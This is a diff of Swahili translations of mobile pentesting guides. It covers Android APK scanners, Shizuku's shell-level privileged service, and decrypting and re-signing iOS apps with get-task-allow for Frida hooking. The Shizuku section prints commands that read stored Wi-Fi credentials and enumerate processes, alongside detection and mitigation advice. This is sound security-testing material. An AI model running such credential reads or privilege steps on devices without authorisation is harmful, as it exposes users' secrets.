Chombo hiki kimeundwa kutafuta udhaifu kadhaa **yanayohusiana na usalama wa programu za Android**, iwe katika **kanuni ya chanzo** au **APKs zilizopakiwa**. Chombo hiki pia **kina uwezo wa kuunda "Proof-of-Concept" APK inayoweza kutekelezwa** na **amri za ADB**, ili kutumia baadhi ya udhaifu uliofindika (Shughuli zilizofichuliwa, nia, tapjacking...). Kama ilivyo kwa Drozer, hakuna haja ya ku-root kifaa kinachojaribiwa. Chombo hiki kimeundwa kutafuta **udhaifu kadhaa zinazohusiana na usalama wa programu za Android**, iwe katika **msimbo wa chanzo** au **APKs zilizopakiwa**. Chombo hiki pia **kina uwezo wa kuunda "Proof-of-Concept" APK inayoweza kutekelezwa** na **amri za ADB**, ili kutumia baadhi ya udhaifu zilizopatikana (Shughuli zilizofichuliwa, nia, tapjacking...). Kama ilivyo kwa Drozer, hakuna haja ya ku-root kifaa cha mtihani.
```bash ```bash
pip3 install --user qark # --user is only needed if not using a virtualenv pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk qark --apk path/to/my.apk
@ -608,7 +608,7 @@ qark --java path/to/specific/java/file.java
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
- Inaonyesha faili zote zilizotolewa kwa ajili ya rejeleo rahisi - Inaonyesha faili zote zilizotolewa kwa ajili ya rejeleo rahisi
- Inachambua faili za APK kiotomatiki hadi Java na Smali format - Inachambua faili za APK moja kwa moja hadi katika muundo wa Java na Smali
- Changanua AndroidManifest.xml kwa ajili ya udhaifu na tabia za kawaida - Changanua AndroidManifest.xml kwa ajili ya udhaifu na tabia za kawaida
- Uchambuzi wa msimbo wa chanzo wa statiki kwa ajili ya udhaifu na tabia za kawaida - Uchambuzi wa msimbo wa chanzo wa statiki kwa ajili ya udhaifu na tabia za kawaida
- Taarifa za kifaa - Taarifa za kifaa
@ -630,7 +630,7 @@ super-analyzer {apk_file}
![](<../../images/image (297).png>) ![](<../../images/image (297).png>)
StaCoAn ni chombo **crossplatform** ambacho kinawasaidia waendelezaji, wawindaji wa makosa na hackers wa kimaadili kufanya [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) kwenye programu za simu. StaCoAn ni chombo **crossplatform** ambacho husaidia waendelezaji, wawindaji wa makosa na hackers wa kimaadili wanaofanya [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) kwenye programu za simu.
Wazo ni kwamba unavuta na kuacha faili yako ya programu ya simu (faili .apk au .ipa) kwenye programu ya StaCoAn na itaunda ripoti ya kuona na kubebeka kwako. Unaweza kubadilisha mipangilio na orodha za maneno ili kupata uzoefu wa kibinafsi. Wazo ni kwamba unavuta na kuacha faili yako ya programu ya simu (faili .apk au .ipa) kwenye programu ya StaCoAn na itaunda ripoti ya kuona na kubebeka kwako. Unaweza kubadilisha mipangilio na orodha za maneno ili kupata uzoefu wa kibinafsi.
@ -640,7 +640,7 @@ Pakua [latest release](https://github.com/vincentcox/StaCoAn/releases):
``` ```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
AndroBugs Framework ni mfumo wa uchambuzi wa udhaifu wa Android ambao unawasaidia waendelezaji au hackers kupata udhaifu wa usalama unaoweza kutokea katika programu za Android.\ AndroBugs Framework ni mfumo wa uchambuzi wa udhaifu wa Android unaosaidia waendelezaji au hackers kupata udhaifu wa usalama unaoweza kutokea katika programu za Android.\
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases) [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
``` ```
python androbugs.py -f [APK file] python androbugs.py -f [APK file]
@ -648,11 +648,11 @@ androbugs.exe -f [APK file]
``` ```
### [Androwarn](https://github.com/maaaaz/androwarn) ### [Androwarn](https://github.com/maaaaz/androwarn)
**Androwarn** ni chombo chenye lengo kuu la kugundua na kumwonya mtumiaji kuhusu tabia mbaya zinazoweza kutokea kutoka kwa programu ya Android. **Androwarn** ni chombo ambacho lengo lake kuu ni kugundua na kumwonya mtumiaji kuhusu tabia mbaya zinazoweza kutokea zinazotengenezwa na programu ya Android.
Gundua inafanywa kwa **uchambuzi wa statiki** wa bytecode ya Dalvik ya programu, inayowakilishwa kama **Smali**, kwa kutumia maktaba ya [`androguard`](https://github.com/androguard/androguard). Ugunduzi unafanywa kwa **uchambuzi wa statiki** wa bytecode ya Dalvik ya programu, inayowakilishwa kama **Smali**, kwa kutumia maktaba ya [`androguard`](https://github.com/androguard/androguard).
Chombo hiki kinatafuta **tabia za kawaida za programu "mbaya"** kama: Uhamasishaji wa vitambulisho vya Simu, Ukatishaji wa mtiririko wa sauti/video, Marekebisho ya data za PIM, Utekelezaji wa msimbo wa kiholela... Chombo hiki kinatafuta **tabia za kawaida za programu "mbaya"** kama: uhamasishaji wa vitambulisho vya Simu, upokeaji wa mtiririko wa sauti/video, mabadiliko ya data za PIM, utekelezaji wa msimbo wa kiholela...
``` ```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
``` ```
@ -660,13 +660,13 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>) ![](<../../images/image (595).png>)
**MARA** ni **M**ifumo wa **A**plication ya **R**everse engineering na **A**nalysis. Ni chombo kinachokusanya zana zinazotumika mara kwa mara za reverse engineering na uchambuzi wa programu za simu, kusaidia katika kupima programu za simu dhidi ya vitisho vya usalama wa simu vya OWASP. Lengo lake ni kufanya kazi hii iwe rahisi na rafiki kwa watengenezaji wa programu za simu na wataalamu wa usalama. **MARA** ni **M**obile **A**pplication **R**everse engineering na **A**nalysis Framework. Ni chombo ambacho kinaweka pamoja zana zinazotumika mara kwa mara za uhandisi wa nyuma na uchambuzi wa programu za simu, kusaidia katika kupima programu za simu dhidi ya vitisho vya usalama wa simu vya OWASP. Lengo lake ni kufanya kazi hii iwe rahisi na rafiki kwa watengenezaji wa programu za simu na wataalamu wa usalama.
Inauwezo wa: Inaweza:
- Kutolewa kwa msimbo wa Java na Smali kwa kutumia zana tofauti - Kutolewa Java na Smali code kwa kutumia zana tofauti
- Kuchambua APKs kwa kutumia: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) - Kuchambua APKs kwa kutumia: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- Kutolewa kwa taarifa za kibinafsi kutoka kwa APK kwa kutumia regexps. - Kutolewa taarifa za kibinafsi kutoka kwa APK kwa kutumia regexps.
- Kuchambua Manifest. - Kuchambua Manifest.
- Kuchambua maeneo yaliyopatikana kwa kutumia: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) na [whatweb](https://github.com/urbanadventurer/WhatWeb) - Kuchambua maeneo yaliyopatikana kwa kutumia: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) na [whatweb](https://github.com/urbanadventurer/WhatWeb)
- Kuondoa obfuscation ya APK kupitia [apk-deguard.com](http://www.apk-deguard.com) - Kuondoa obfuscation ya APK kupitia [apk-deguard.com](http://www.apk-deguard.com)
@ -681,7 +681,7 @@ Kumbuka kwamba kulingana na huduma na usanidi unayotumia kuondoa obfuscation ya
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>) ### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
Kutoka [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** ni chombo cha amri cha chanzo wazi kinachopunguza, kuboresha na kuondoa obfuscation ya msimbo wa Java. Inaweza kuboresha bytecode pamoja na kugundua na kuondoa maagizo yasiyotumika. ProGuard ni programu ya bure na inasambazwa chini ya GNU General Public License, toleo la 2. Kutoka [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** ni chombo cha amri cha chanzo wazi ambacho kinapunguza, kinaboresha na kinatoa obfuscation kwa Java code. Inaweza kuboresha bytecode pamoja na kugundua na kuondoa maagizo yasiyotumika. ProGuard ni programu ya bure na inasambazwa chini ya GNU General Public License, toleo la 2.
ProGuard inasambazwa kama sehemu ya Android SDK na inafanya kazi wakati wa kujenga programu katika hali ya kutolewa. ProGuard inasambazwa kama sehemu ya Android SDK na inafanya kazi wakati wa kujenga programu katika hali ya kutolewa.
@ -691,11 +691,11 @@ Pata mwongozo wa hatua kwa hatua wa kuondoa obfuscation ya apk katika [https://b
(Kutoka kwa mwongozo huo) Mara ya mwisho tulipoangalia, hali ya uendeshaji ya Dexguard ilikuwa: (Kutoka kwa mwongozo huo) Mara ya mwisho tulipoangalia, hali ya uendeshaji ya Dexguard ilikuwa:
- kupakia rasilimali kama InputStream; - pakua rasilimali kama InputStream;
- kutoa matokeo kwa darasa linalorithi kutoka FilterInputStream ili kuyafungua; - peleka matokeo kwa darasa linalorithi kutoka FilterInputStream ili kuyafungua;
- kufanya obfuscation isiyo na maana ili kupoteza dakika chache za muda kutoka kwa mabadiliko; - fanya obfuscation isiyo na maana ili kupoteza dakika chache za wakati kutoka kwa mhandisi wa nyuma;
- kutoa matokeo yaliyofunguliwa kwa ZipInputStream ili kupata faili ya DEX; - peleka matokeo yaliyofunguliwa kwa ZipInputStream ili kupata faili ya DEX;
- hatimaye kupakia DEX inayotokana kama Rasilimali kwa kutumia njia ya `loadDex`. - hatimaye pakua DEX inayotokana kama Rasilimali kwa kutumia njia ya `loadDex`.
### [DeGuard](http://apk-deguard.com) ### [DeGuard](http://apk-deguard.com)
@ -713,7 +713,7 @@ Ni **deobfuscator ya android ya jumla.** Simplify **inatekeleza programu kwa kar
### [APKiD](https://github.com/rednaga/APKiD) ### [APKiD](https://github.com/rednaga/APKiD)
APKiD inakupa taarifa kuhusu **jinsi APK ilivyotengenezwa**. Inatambua waandishi wengi, **packers**, **obfuscators**, na vitu vingine vya ajabu. Ni [_PEiD_](https://www.aldeid.com/wiki/PEiD) kwa Android. APKiD inakupa taarifa kuhusu **jinsi APK ilivyotengenezwa**. Inatambua **kompila**, **packers**, **obfuscators**, na vitu vingine vya ajabu. Ni [_PEiD_](https://www.aldeid.com/wiki/PEiD) kwa Android.
### Manual ### Manual
@ -723,7 +723,7 @@ APKiD inakupa taarifa kuhusu **jinsi APK ilivyotengenezwa**. Inatambua waandishi
### [Androl4b](https://github.com/sh4hin/Androl4b) ### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4b ni mashine ya virtual ya usalama ya Android inayotegemea ubuntu-mate inajumuisha mkusanyiko wa mfumo wa hivi karibuni, mafunzo na maabara kutoka kwa wahandisi wa usalama na watafiti mbalimbali kwa ajili ya reverse engineering na uchambuzi wa malware. AndroL4b ni mashine ya virtual ya usalama ya Android inayotegemea ubuntu-mate inajumuisha mkusanyiko wa mfumo wa hivi karibuni, mafunzo na maabara kutoka kwa wahandisi wa usalama na watafiti mbalimbali kwa ajili ya uhandisi wa nyuma na uchambuzi wa malware.
## References ## References

View File

@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
Shizuku ni huduma ya chanzo wazi ambayo **inasababisha mchakato wa Java wenye mamlaka kwa kutumia `app_process`** na kufichua **APIs za mfumo wa Android kupitia Binder**. Kwa sababu mchakato unazinduliwa kwa uwezo sawa wa **`shell` UID ambao ADB inatumia**, programu yoyote (au terminal) inayounganisha kwenye interface ya AIDL iliyosafirishwa inaweza kufanya vitendo vingi ambavyo kawaida vinahitaji **`WRITE_SECURE_SETTINGS`, `INSTALL_PACKAGES`, I/O ya faili ndani ya `/data`,** nk. **bila ku-root kifaa**. Shizuku ni huduma ya chanzo wazi ambayo **inasababisha mchakato wa Java wenye mamlaka kwa kutumia `app_process`** na inatoa **API za mfumo wa Android kupitia Binder**. Kwa sababu mchakato unazinduliwa kwa uwezo sawa wa **`shell` UID ambao ADB inatumia**, programu yoyote (au terminal) inayounganisha kwenye interface ya AIDL iliyosafirishwa inaweza kufanya vitendo vingi ambavyo kawaida vinahitaji **`WRITE_SECURE_SETTINGS`, `INSTALL_PACKAGES`, I/O ya faili ndani ya `/data`,** nk. **bila ku-root kifaa**.
Matumizi ya kawaida: Matumizi ya kawaida:
* Ukaguzi wa usalama kutoka kwa simu isiyo na root * Ukaguzi wa usalama kutoka kwa simu isiyo na root
* Kuondoa bloatware / debloating apps za mfumo * Kuondoa bloatware / kuboresha programu za mfumo
* Kukusanya kumbukumbu, funguo za Wi-Fi, taarifa za mchakato na socket kwa ajili ya blue-team/DFIR * Kukusanya kumbukumbu, funguo za Wi-Fi, taarifa za mchakato na socket kwa ajili ya timu ya buluu/DFIR
* Kuandaa usanidi wa kifaa kutoka kwa programu za kawaida au scripts za shell * Kuandaa usanidi wa kifaa kutoka kwa programu za kawaida au skripti za shell
--- ---
## 1. Kuanzisha huduma yenye mamlaka ## 1. Kuanzisha huduma yenye mamlaka
@ -16,11 +16,11 @@ Matumizi ya kawaida:
`moe.shizuku.privileged.api` inaweza kuanzishwa kwa njia tatu tofauti huduma ya Binder inayotokana inafanya kazi sawa katika zote. `moe.shizuku.privileged.api` inaweza kuanzishwa kwa njia tatu tofauti huduma ya Binder inayotokana inafanya kazi sawa katika zote.
### 1.1 ADB isiyo na waya (Android 11+) ### 1.1 ADB isiyo na waya (Android 11+)
1. Wezesha **Chaguzi za Mwandishi ➜ Ufuatiliaji usio na waya** na uunganishe kifaa. 1. Washa **Chaguzi za Mwandishi ➜ Ufuatiliaji usio na waya** na uunganishe kifaa.
2. Ndani ya programu ya Shizuku chagua **“Anza kupitia ufuatiliaji usio na waya”** na nakili msimbo wa kuunganisha. 2. Ndani ya programu ya Shizuku chagua **“Anza kupitia ufuatiliaji usio na waya”** na nakili msimbo wa kuunganisha.
3. Huduma inakaa hai hadi kuanzisha tena kwa pili (sessions za ufuatiliaji usio na waya zinaondolewa wakati wa kuanzisha). 3. Huduma inakaa hai hadi kuanzishwa tena kwa kifaa (sessions za ufuatiliaji usio na waya zinaondolewa wakati wa kuanzisha).
### 1.2 USB / ADB ya ndani one-liner ### 1.2 USB / ADB ya ndani moja-laini
```bash ```bash
adb push start.sh \ adb push start.sh \
/storage/emulated/0/Android/data/moe.shizuku.privileged.api/ /storage/emulated/0/Android/data/moe.shizuku.privileged.api/
@ -28,10 +28,10 @@ adb push start.sh \
# spawn the privileged process # spawn the privileged process
adb shell sh /storage/emulated/0/Android/data/moe.shizuku.privileged.api/start.sh adb shell sh /storage/emulated/0/Android/data/moe.shizuku.privileged.api/start.sh
``` ```
Skripti hiyo hiyo inaweza kutekelezwa kupitia **network ADB** connection (`adb connect <IP>:5555`). Ile ile script inaweza kutekelezwa kupitia **network ADB** connection (`adb connect <IP>:5555`).
### 1.3 Vifaa vilivyopandishwa mizizi ### 1.3 Vifaa vilivyo na root
Ikiwa kifaa tayari kimepandishwa mizizi, endesha: Ikiwa kifaa tayari kimepata root, endesha:
```bash ```bash
su -c sh /data/adb/shizuku/start.sh su -c sh /data/adb/shizuku/start.sh
``` ```
@ -83,11 +83,11 @@ for pid in $(lsof -nP -iTCP -sTCP:LISTEN -t); do
printf "%s -> %s\n" "$pid" "$(cat /proc/$pid/cmdline)"; printf "%s -> %s\n" "$pid" "$(cat /proc/$pid/cmdline)";
done done
``` ```
* Dump kila logi ya programu: * Dump kila log ya programu:
```bash ```bash
logcat -d | grep -iE "(error|exception)" logcat -d | grep -iE "(error|exception)"
``` ```
* Soma akiba ya hati za Wi-Fi (Android 11 +): * Soma akcredentials za Wi-Fi zilizohifadhiwa (Android 11 +):
```bash ```bash
cat /data/misc/wifi/WifiConfigStore.xml | grep -i "<ConfigKey>" cat /data/misc/wifi/WifiConfigStore.xml | grep -i "<ConfigKey>"
``` ```
@ -98,13 +98,13 @@ pm uninstall --user 0 com.miui.weather2
--- ---
## 4. Maoni ya usalama / ugunduzi ## 4. Maoni ya usalama / ugunduzi
1. Shizuku inahitaji **ADB debugging** ruhusa, kwa hivyo _Chaguzi za Mwandishi → USB/Wireless debugging_ lazima iwe **imewezeshwa**. 1. Shizuku inahitaji **ADB debugging** ruhusa, kwa hivyo _Chaguo za Mwandishi → USB/Wireless debugging_ lazima iwe **imewezeshwa**.
Mashirika yanaweza kuzuia hii kupitia MDM au kupitia `settings put global development_settings_enabled 0`. Mashirika yanaweza kuzuia hii kupitia MDM au kupitia `settings put global development_settings_enabled 0`.
2. Huduma inajisajili chini ya jina `moe.shizuku.privileged.api`. 2. Huduma inajisajili chini ya jina `moe.shizuku.privileged.api`.
Amri rahisi `adb shell service list | grep shizuku` (au sheria ya Usalama wa Endpoint) inagundua uwepo wake. Amri rahisi `adb shell service list | grep shizuku` (au sheria ya Usalama wa Endpoint) inagundua uwepo wake.
3. Uwezo umewekwa mipaka kwa kile ambacho mtumiaji `shell` anaweza tayari kufanya si **root**. 3. Uwezo umewekwa mipaka kwa kile ambacho mtumiaji `shell` anaweza tayari kufanya si **root**.
APIs nyeti zinazohitaji mtumiaji `system` au `root` bado hazipatikani. APIs nyeti zinazohitaji mtumiaji `system` au `root` bado hazipatikani.
4. Sesheni hazidumu **baada ya kuanzisha upya** isipokuwa kifaa kimekuwa root na Shizuku imewekwa kama daemon ya kuanzisha. 4. Sesheni hazidumu **baada ya kuanzisha upya** isipokuwa kifaa kimekuwa rooted na Shizuku imewekwa kama daemon ya kuanzisha.
--- ---
## 5. Kupunguza ## 5. Kupunguza
@ -113,7 +113,7 @@ APIs nyeti zinazohitaji mtumiaji `system` au `root` bado hazipatikani.
* Tumia sera za SELinux (Android enterprise) kuzuia interface ya AIDL kutoka kwa programu zisizodhibitiwa. * Tumia sera za SELinux (Android enterprise) kuzuia interface ya AIDL kutoka kwa programu zisizodhibitiwa.
--- ---
## Marejeleo ## Marejeo
- [Blog Shizuku: Kufungua Uwezo wa Juu wa Android Bila Root](https://www.mobile-hacker.com/2025/07/14/shizuku-unlocking-advanced-android-capabilities-without-root/) - [Blog Shizuku: Kufungua Uwezo wa Juu wa Android Bila Root](https://www.mobile-hacker.com/2025/07/14/shizuku-unlocking-advanced-android-capabilities-without-root/)
- [Hati Rasmi za Shizuku](https://shizuku.rikka.app/) - [Hati Rasmi za Shizuku](https://shizuku.rikka.app/)

View File

@ -4,30 +4,30 @@
## Wazo Kuu ## Wazo Kuu
Programu zilizosainiwa na **entitlement `get_task_allow`** zinawaruhusu programu za upande wa tatu kuendesha kazi inayoitwa **`task_for_pid()`** na kitambulisho cha mchakato wa programu ya awali kama hoja ili kupata bandari ya kazi juu yake (kuwa na uwezo wa kuidhibiti na kufikia kumbukumbu yake). Programu zilizosainiwa na **entitlement `get_task_allow`** zinaruhusu programu za upande wa tatu kuendesha kazi inayoitwa **`task_for_pid()`** na kitambulisho cha mchakato wa programu ya awali kama hoja ili kupata bandari ya kazi juu yake (kuwa na uwezo wa kuidhibiti na kufikia kumbukumbu yake).
Hata hivyo, si rahisi kama tu kuvuta IPA, kuisaini tena na entitlement, na kuirudisha kwenye kifaa chako. Hii ni kwa sababu ya ulinzi wa FairPlay. Wakati saini ya programu inabadilika, funguo za DRM (Usimamizi wa Haki za Kidijitali) **zinabatilishwa na programu haitafanya kazi**. Hata hivyo, si rahisi kama tu kuvuta IPA, kuisaini tena na entitlement, na kuirudisha kwenye kifaa chako. Hii ni kwa sababu ya ulinzi wa FairPlay. Wakati saini ya programu inabadilika, funguo za DRM (Digital Rights Management) **zinabatilishwa na programu haitafanya kazi**.
Kwa kifaa cha zamani kilichovunjwa, inawezekana kufunga IPA, **kuikodisha kwa kutumia chombo unachokipenda** (kama Iridium au frida-ios-dump), na kuirudisha kutoka kwenye kifaa. Ingawa, ikiwa inawezekana, inapendekezwa kuwasiliana na mteja kwa IPA iliyokodishwa. Kwa kifaa cha zamani kilichovunjwa, inawezekana kufunga IPA, **kuikodisha kwa kutumia chombo unachokipenda** (kama Iridium au frida-ios-dump), na kuirudisha kutoka kwenye kifaa. Ingawa, ikiwa inawezekana, inapendekezwa kuomba tu kwa mteja kwa IPA iliyokodishwa.
## Pata IPA iliyokodishwa ## Pata IPA iliyokodishwa
### Pata kutoka Apple ### Pata kutoka Apple
1. Sakinisha programu ya kupima kwenye iPhone 1. Funga programu ya kupima kwenye iPhone
2. Sakinisha na uzindue [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) ndani ya macos yako 2. Funga na uzindue [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) ndani ya macos yako
3. Fungua `Terminal` kwenye Mac yako, na cd hadi `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. IPA itaonekana katika folda hii baadaye. 3. Fungua `Terminal` kwenye Mac yako, na cd hadi `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. IPA itaonekana katika folda hii baadaye.
4. Unapaswa kuona kifaa chako cha iOS. Bonyeza mara mbili juu yake, kisha bonyeza Ongeza + → Programu kutoka kwenye menyu ya juu. 4. Unapaswa kuona kifaa chako cha iOS. Bonyeza mara mbili juu yake, kisha bonyeza Ongeza + → Programu kutoka kwenye menyu ya juu.
5. Baada ya kubonyeza Ongeza, Configurator itashusha IPA kutoka Apple, na kujaribu kuisukuma kwenye kifaa chako. Ikiwa ulifuata mapendekezo yangu awali na tayari umesakinisha IPA, ujumbe wa kukuuliza upya kusakinisha programu utaonekana. 5. Baada ya kubonyeza Ongeza, Configurator itashusha IPA kutoka Apple, na kujaribu kuisukuma kwenye kifaa chako. Ikiwa ufuatiliaji wa mapendekezo yangu hapo awali na umefunga IPA tayari, ujumbe wa kukuuliza ufungue programu tena utaonekana.
6. IPA inapaswa kushushwa ndani ya `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` ambapo unaweza kuichukua. 6. IPA inapaswa kushushwa ndani ya `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` ambapo unaweza kuichukua.
Angalia [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) kwa maelezo zaidi kuhusu mchakato huu. Angalia [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) kwa maelezo zaidi kuhusu mchakato huu.
### Kuikodisha programu ### Kuikodisha programu
Ili kuikodisha IPA tunakwenda kuisakinisha. Hata hivyo, ikiwa una iPhone ya zamani iliyovunjwa, huenda toleo lake halitaungwa mkono na programu kwani kawaida programu zinasaidia tu toleo za hivi karibuni. Ili kuikodisha IPA tunakwenda kuifunga. Hata hivyo, ikiwa una iPhone ya zamani iliyovunjwa, huenda toleo lake halitasaidiwa na programu kwani kawaida programu zinasaidia tu matoleo ya hivi karibuni.
Hivyo, ili kuisakinisha, fungua IPA: Hivyo, ili kuifunga, fungua tu IPA:
```bash ```bash
unzip redacted.ipa -d unzipped unzip redacted.ipa -d unzipped
``` ```
@ -44,14 +44,14 @@ ideviceinstaller -i no-min-version.ipa -w
``` ```
Note that you might need **AppSync Unified tweak** from Cydia to prevent any `invalid signature` errors. Note that you might need **AppSync Unified tweak** from Cydia to prevent any `invalid signature` errors.
Once intalled, you can use **Iridium tweak** from Cydia in order to obtain the decrypted IPA. Once installed, you can use **Iridium tweak** from Cydia in order to obtain the decrypted IPA.
### Patch entitlements & re-sign ### Patch entitlements & re-sign
Ili ku-sign upya programu na `get-task-allow` entitlement kuna zana kadhaa zinazopatikana kama `app-signer`, `codesign`, na `iResign`. `app-signer` ina kiolesura rafiki cha mtumiaji ambacho kinaruhusu ku-sign upya faili ya IPA kwa urahisi kwa kuashiria IPA ya ku-sign upya, kuweka `get-taks-allow` na cheti na profaili ya usambazaji ya kutumia. Ili ku-sign upya programu na `get-task-allow` entitlement kuna zana kadhaa zinazopatikana kama `app-signer`, `codesign`, na `iResign`. `app-signer` ina kiolesura rafiki cha mtumiaji ambacho kinaruhusu ku-sign upya faili ya IPA kwa urahisi kwa kuashiria IPA ya ku-sign upya, kuweka `get-task-allow` na cheti na profaili ya usambazaji ya kutumia.
Kuhusu cheti na profaili za kusaini, Apple inatoa **free developer signing profiles** kwa akaunti zote kupitia Xcode. Unda tu programu na uipange. Kisha, panga **iPhone kuamini programu za developer** kwa kuenda `Settings``Privacy & Security`, na bonyeza `Developer Mode`. Kuhusu cheti na profaili za kusaini, Apple inatoa **profaili za kusaini za watengenezaji bure** kwa akaunti zote kupitia Xcode. Unda tu programu na uipange. Kisha, panga **iPhone kuamini programu za watengenezaji** kwa kuenda `Settings``Privacy & Security`, na bonyeza `Developer Mode`.
With the re-signed IPA, it's time to install it in the device to pentest it: With the re-signed IPA, it's time to install it in the device to pentest it:
```bash ```bash
@ -59,15 +59,15 @@ ideviceinstaller -i resigned.ipa -w
``` ```
--- ---
### Wezesha Hali ya Mwandishi (iOS 16+) ### Wezesha Hali ya Mwandamizi (iOS 16+)
Tangu iOS 16 Apple ilianzisha **Hali ya Mwandishi**: binary yoyote inayobeba `get_task_allow` *au* iliyosainiwa na cheti cha maendeleo itakataa kuanzishwa hadi Hali ya Mwandishi iwezeshwe kwenye kifaa. Hutaweza pia kuunganisha Frida/LLDB isipokuwa bendera hii iwepo. Tangu iOS 16 Apple ilianzisha **Hali ya Mwandamizi**: binary yoyote inayobeba `get_task_allow` *au* iliyosainiwa na cheti cha maendeleo itakataa kuanzishwa hadi Hali ya Mwandamizi iwezeshwe kwenye kifaa. Hutaweza pia kuunganisha Frida/LLDB isipokuwa bendera hii iwepo.
1. Sakinisha au sukuma **yoyote** IPA iliyosainiwa na mwandishi kwenye simu. 1. Sakinisha au sukuma **yoyote** IPA iliyosainiwa na mwandamizi kwenye simu.
2. Nenda kwenye **Mipangilio → Faragha & Usalama → Hali ya Mwandishi** na iwashe. 2. Nenda kwenye **Mipangilio → Faragha & Usalama → Hali ya Mwandamizi** na iwashe.
3. Kifaa kitaanzisha upya; baada ya kuingiza nambari ya siri utaulizwa **Washa** Hali ya Mwandishi. 3. Kifaa kitaanzisha upya; baada ya kuingiza nambari ya siri utaulizwa **Washa** Hali ya Mwandamizi.
Hali ya Mwandishi inabaki kuwa hai hadi uizime au kufuta simu, hivyo hatua hii inahitaji kufanywa mara moja kwa kifaa. [Hati za Apple](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) zinaelezea athari za usalama. Hali ya Mwandamizi inabaki hai hadi uizime au kufuta simu, hivyo hatua hii inahitaji kufanywa mara moja tu kwa kifaa. [Apple documentation](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) inaelezea athari za usalama.
### Chaguzi za kisasa za sideloading ### Chaguzi za kisasa za sideloading
@ -75,14 +75,14 @@ Sasa kuna njia kadhaa za kisasa za sideloading na kuweka IPAs zilizosainiwa up-t
| Chombo | Mahitaji | Nguvu | Mipaka | | Chombo | Mahitaji | Nguvu | Mipaka |
|--------|----------|-------|--------| |--------|----------|-------|--------|
| **AltStore 2 / SideStore** | msaidizi wa macOS/Windows/Linux anayesaini tena IPA kila siku 7 kwa profaili ya bure ya mwandishi | Upakuaji wa moja kwa moja kupitia Wi-Fi, inafanya kazi hadi iOS 17 | Inahitaji kompyuta kwenye mtandao mmoja, kikomo cha programu 3 kilichowekwa na Apple | | **AltStore 2 / SideStore** | macOS/Windows/Linux mwenzi anayesaini tena IPA kila siku 7 kwa profaili ya bure ya maendeleo | Upakuaji wa moja kwa moja kupitia Wi-Fi, inafanya kazi hadi iOS 17 | Inahitaji kompyuta kwenye mtandao mmoja, kikomo cha programu 3 kilichowekwa na Apple |
| **TrollStore 1/2** | Kifaa kwenye iOS 14 15.4.1 kilichokuwa na udhaifu wa CoreTrust | *Saini ya kudumu* (hakuna kikomo cha siku 7); hakuna kompyuta inayohitajika mara baada ya kusakinishwa | Haipatikani kwenye iOS 15.5+ (bug ilirekebishwa) | | **TrollStore 1/2** | Kifaa kwenye iOS 14 15.4.1 kilichokuwa na udhaifu wa CoreTrust | *Saini ya kudumu* (hakuna kikomo cha siku 7); hakuna kompyuta inahitajika mara baada ya kusakinishwa | Haipati msaada kwenye iOS 15.5+ (bug ilirekebishwa) |
Kwa pentests za kawaida kwenye toleo la sasa la iOS, Alt/Side-Store mara nyingi ni chaguo bora zaidi. Kwa pentests za kawaida kwenye toleo la sasa la iOS, Alt/Side-Store mara nyingi ni chaguo bora zaidi.
### Hooking / uhandisi wa dynamic ### Hooking / uhandisi wa dynamic
Unaweza kuhook programu yako kama ilivyo kwenye kifaa kilichofunguliwa mara tu inapokuwa imesainiwa na `get_task_allow` **na** Hali ya Mwandishi ikiwa juu: Unaweza kuhook programu yako kama ilivyo kwenye kifaa kilichofanywa jailbreak mara tu inapokuwa imesainiwa na `get_task_allow` **na** Hali ya Mwandamizi ikiwa wazi:
```bash ```bash
# Spawn & attach with objection # Spawn & attach with objection
objection -g "com.example.target" explore objection -g "com.example.target" explore
@ -92,9 +92,9 @@ frida -U -f com.example.target -l my_script.js --no-pause
``` ```
